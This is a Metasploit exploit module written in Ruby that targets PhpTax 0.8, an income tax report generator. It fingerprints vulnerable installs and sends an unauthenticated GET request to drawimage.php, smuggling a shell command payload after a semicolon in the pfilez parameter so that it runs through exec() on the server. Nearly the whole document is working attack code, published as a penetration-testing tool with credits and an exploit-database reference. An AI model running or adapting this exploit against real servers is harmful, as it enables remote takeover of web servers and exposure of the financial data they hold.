PhpTax pfilez Parameter Exec Remote Code Injection

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection",  
'Description' => %q{  
This module exploits a vulnerability found in PhpTax, an income tax report  
generator. When generating a PDF, the icondrawpng() function in drawimage.php  
does not properly handle the pfilez parameter, which will be used in a exec()  
statement, and then results in arbitrary remote code execution under the context  
of the web server. Please note: authentication is not required to exploit this  
vulnerability.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jean Pascal Pereira <pereira[at]secbiz.de>',  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['EDB', '21665']  
],  
'Payload' =>  
{  
'Compat' =>  
{  
'ConnectionType' => 'find',  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet python'  
}  
},  
'Platform' => ['unix', 'linux'],  
'Targets' =>  
[  
['PhpTax 0.8', {}]  
],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'DisclosureDate' => "Oct 8 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/'])  
], self.class)  
end  
  
  
def check  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
res = send_request_raw({'uri'=>target_uri.path})  
if res and res.body =~ /PHPTAX by William L\. Berggren/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
  
def exploit  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
  
print_status("#{rhost}#{rport} - Sending request...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{target_uri.path}drawimage.php",  
'vars_get' => {  
'pdf' => 'make',  
'pfilez' => "xxx; #{payload.encoded}"  
}  
})  
  
handler  
end  
end  
`